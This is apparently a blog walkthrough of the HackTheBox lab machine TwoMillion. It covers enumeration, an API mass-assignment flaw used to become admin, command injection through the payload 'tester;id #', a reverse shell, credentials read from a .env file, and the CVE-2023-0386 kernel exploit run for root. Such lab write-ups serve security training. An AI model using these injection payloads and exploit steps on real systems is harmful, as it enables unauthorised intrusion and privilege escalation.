Skip to main content
HTB: TwoMillion
  1. Posts/

HTB: TwoMillion

Table of Contents

Introduction
#

TwoMillion starts with a website that looks like the original HackTheBox platform. To register I must first get an invite code from API. Once registered, I enumerate the API endpoints and find one that allows me to change my user to an administrator and use command injection in another admin endpoint. I will find database credentials to move to the next user, and a kernel exploit to get root.

nmap
#

nmap finds two open ports:

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.39.151
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 nginx
|_http-title: Did not follow redirect to http://2million.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add 2million.htb to /etc/hosts

Website - TCP 80
#

The looks like the original HackTheBox platform:

Web

There is a login form at /login with “forgot password” leading back to /login - ? possible user enumeration ? - wrong user shows User not found

Web2

I don’t have credentials, so nothing here for now.

Web3

Next, there is an invite form at /invite - wrong code gives popup with “Invalid invite code. Please try again.”

Web4
Web5

Subdomain enum
#

As I have the domain name, I will try to find any available subdomains of 2million.htb:

└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://2million.htb/ -H 'Host: FUZZ.2million.htb' -fs 162

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://2million.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.2million.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 162
________________________________________________

:: Progress: [220561/220561] :: Job [1/1] :: 1379 req/sec :: Duration: [0:04:02] :: Errors: 0 ::

Found nothing.

Directory brute-force
#

└─$ feroxbuster -u http://2million.htb --dont-extract-links
                                                                                                                                    
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://2million.htb
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
 πŸŽ‰  New Version Available β”‚ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
301      GET        7l       11w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                                                 
200      GET     1242l     3326w    64952c http://2million.htb/
302      GET        0l        0w        0c http://2million.htb/logout => http://2million.htb/
200      GET       80l      232w     3704c http://2million.htb/login
200      GET       94l      293w     4527c http://2million.htb/register
401      GET        0l        0w        0c http://2million.htb/api
302      GET        0l        0w        0c http://2million.htb/home => http://2million.htb/
200      GET       46l      152w     1674c http://2million.htb/404
200      GET       96l      285w     3859c http://2million.htb/invite
500      GET        7l       13w      170c http://2million.htb/images/rhein-main
500      GET        7l       13w      170c http://2million.htb/userguide
500      GET        7l       13w      170c http://2million.htb/css/berichte

Found /register, but it still needs an invite code.

Web6

Invite page
#

Looking at source code of the page there is reference to a script at /js/inviteapi.min.js:

inviteapi

Visiting it (http://2million.htb/js/inviteapi.min.js) gives me the minified code:

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

I attempted to put it in Prettier but it did not change much, the most interesting part remained the same in both versions: verifyInviteCode and makeInviteCode functions.

Back at http://2million.htb/invite I can go to console and look for makeInviteCode (Firefox: F12 -> Console), it autocompletes and gives me some hints:

makeInviteCode
Object { 0: 200, success: 1, data: {…}, hint: "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..." }
0: 200
data: Object { data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", enctype: "ROT13" }
data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr"
enctype: "ROT13"

Ok, so I have encrypted string and ROT13, start CyberChef and extract the original:

hintd
In order to generate the invite code, make a POST request to /api/v1/invite/generate

That is pretty clear, let’s do that:

└─$ curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"OVlRNzYtSjNCRFItR09RNlUtVTc5NUQ=","format":"encoded"}} 

One quick curl and there is an invite code. It’s base64 encoded for 9YQ76-J3BDR-GOQ6U-U795D which is the real invite code.

After putting it in the form at /invite I am redirected to /register

invite

Website - login
#

And I can log in:

login

First thing that hits me is the announcement: Important Announcement: We are currently performing database migrations. For this reason some of the website’s features will be unavailable. We apologize for the inconvenience.

Pretty much the only thing that works is the Access tab:

access

Clicking the Connection Pack downloads an .ovpn file, when intercepted I get this:

hintd

It sends a GET request toΒ /api/v1/user/vpn/generate (the regenerate button to /api/v1/user/vpn/regenerate).

Shell as www-data
#

I tried to send requests to various modifications to the intercepted path:

The /api returned this:

api1

And the `/api/v1 this:

api2
{"v1":
	{"user":
		{"GET":
			{"\/api\/v1":"Route List",
			"\/api\/v1\/invite\/how\/to\/generate":"Instructions on invite code generation",
			"\/api\/v1\/invite\/generate":"Generate invite code",
			"\/api\/v1\/invite\/verify":"Verify invite code",
			"\/api\/v1\/user\/auth":"Check if user is authenticated",
			"\/api\/v1\/user\/vpn\/generate":"Generate a new VPN configuration",
			"\/api\/v1\/user\/vpn\/regenerate":"Regenerate VPN configuration",
			"\/api\/v1\/user\/vpn\/download":"Download OVPN file"
		},
		"POST":
			{"\/api\/v1\/user\/register":"Register a new user",
			"\/api\/v1\/user\/login":"Login with existing user"}},
	admin":
		{"GET":
			{"\/api\/v1\/admin\/auth":"Check if user is admin"},
		"POST":
			{"\/api\/v1\/admin\/vpn\/generate":"Generate VPN for specific user"},
		"PUT":
			{"\/api\/v1\/admin\/settings\/update":"Update user settings"}
}}}

It looks like a full API route list.

Looking at the “admin” section, I can check if I am one:

api3

I am not …..

But I can also “Update user settings” via the PUT request

api4

I get a “Invalid content type.” message, but that is not important, what I am looking at is the HTTP/1.1 200 OK response. It means that I can, likely, make changes I only need to get the correct Content-Type header and name of the parameters I want to change.

The correct Content-Type will most likely be application/json as I will try to modify some database fields:

api5

And it is. There is required parameter: email

I use the one I registered with:

api6

And the response gives me the name of the next parameter, is_admin. I can simply add "is_admin": true to the json and become admin:

api7

And the response gives me the name of the next parameter, is_admin. I can simply add "is_admin": 1 to the json and become admin:

api8

Now that I am admin:

admin

I can try the /api/v1/admin/vpn/generate

admin2

I get HTTP/1.1 200 OK - I am indeed admin - and need to add parameter username:

admin3

It works and I get a VPN key.

Now for the fun part, what next?

Every time I see parameters in some POST request I think of command injection.

To think of correct one to use … site is PHP, OS is Linux, how would I generate a VPN key?

I don’t know PHP that well, so let’s hope there is some bash script that takes the username parameter value as input.

If so, I can end the original command by adding ; at the end and starting new command, for example id. To comment out any remaining parameters or anything else I will end the whole thing with #.

So, the result is: "username": "tester;id #"

injection

It works and I get standard output of id: uid=33(www-data) gid=33(www-data) groups=33(www-data).

Now I can replace id with a reverse shell, start a listener an get a shell:

shell
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.129] from (UNKNOWN) [10.129.39.151] 50174
bash: cannot set terminal process group (1101): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@2million:~/html$ 

Shell as Admin
#

I start in /var/www/html folder:

www-data@2million:~/html$ ls -la
ls -la
total 56
drwxr-xr-x 10 root root 4096 Jan 13 10:50 .
drwxr-xr-x  3 root root 4096 Jun  6  2023 ..
-rw-r--r--  1 root root   87 Jun  2  2023 .env
-rw-r--r--  1 root root 1237 Jun  2  2023 Database.php
-rw-r--r--  1 root root 2787 Jun  2  2023 Router.php
drwxr-xr-x  5 root root 4096 Jan 13 10:50 VPN
drwxr-xr-x  2 root root 4096 Jun  6  2023 assets
drwxr-xr-x  2 root root 4096 Jun  6  2023 controllers
drwxr-xr-x  5 root root 4096 Jun  6  2023 css
drwxr-xr-x  2 root root 4096 Jun  6  2023 fonts
drwxr-xr-x  2 root root 4096 Jun  6  2023 images
-rw-r--r--  1 root root 2692 Jun  2  2023 index.php
drwxr-xr-x  3 root root 4096 Jun  6  2023 js
drwxr-xr-x  2 root root 4096 Jun  6  2023 views

There are few interesting files, the index.php defines some routes and stuff, and points the next file, .env that should contain variables, like username and password:

www-data@2million:~/html$ cat index.php
cat index.php
<?php 

<SNIP>

$envFile = file('.env');

<SNIP>

$dbHost = $envVariables['DB_HOST'];
$dbName = $envVariables['DB_DATABASE'];
$dbUser = $envVariables['DB_USERNAME'];
$dbPass = $envVariables['DB_PASSWORD'];

<SNIP>

And it does:

www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

These credentials work both for su admin and ssh:

└─$ ssh admin@10.129.39.151

<SNIP>

You have mail.
Last login: Tue Jun  6 12:43:11 2023 from 10.10.14.6
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.


admin@2million:~$ 

Root
#

When logging in using ssh there is message:

You have mail.

Ok, I have mail, let’s check it. Go to /var/mail and read it:

admin@2million:/var/mail$ cat admin 
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

CVE-2023-0386
#

Ok, quick Google search for OverlayFS CVE points to to CVE-2023-0386

A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.

There is PoC at here

Download the repo and copy it to the host:

└─$ scp CVE-2023-0386.zip admin@10.129.39.151:/dev/shm/CVE-2023-0386.zip
admin@10.129.39.151's password: 
CVE-2023-0386-main.zip                                                                            100%   11KB 544.4KB/s   00:00   

I need to start two shells on 2million, that is not an issue with ssh access. I’ll unzip the PoC, and run make all, following the instructions:

admin@2million:/dev/shm$ unzip CVE-2023-0386.zip 
Archive:  CVE-2023-0386.zip
c4c65cefca1365c807c397e953d048506f3de195
   creating: CVE-2023-0386/
	<SNIP>
admin@2million:/dev/shm$ cd CVE-2023-0386/
admin@2million:/dev/shm/CVE-2023-0386$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse.c: In function β€˜read_buf_callback’:
fuse.c:106:21: warning: format β€˜%d’ expects argument of type β€˜int’, but argument 2 has type β€˜off_t’ {aka β€˜long int’} [-Wformat=]
  106 |     printf("offset %d\n", off);
      |                    ~^     ~~~
	<SNIP>
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c

There are some errors, but in the end I have three new binaries:

admin@2million:/dev/shm/CVE-2023-0386$ ls
exp  exp.c  fuse  fuse.c  gc  getshell.c  Makefile  ovlcap  README.md  test

In the first session, I run the first command from the instructions:

admin@2million:/dev/shm/CVE-2023-0386-main$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0

And in the other window, I run the exploit:

admin@2million:/dev/shm/CVE-2023-0386$ ./exp 
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Jun  2 23:11 .
drwxrwxr-x 6 root   root     4096 Jun  2 23:11 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:/dev/shm/CVE-2023-0386#

And I get a root shell.

Now just grab the flag and it is done!

Author
~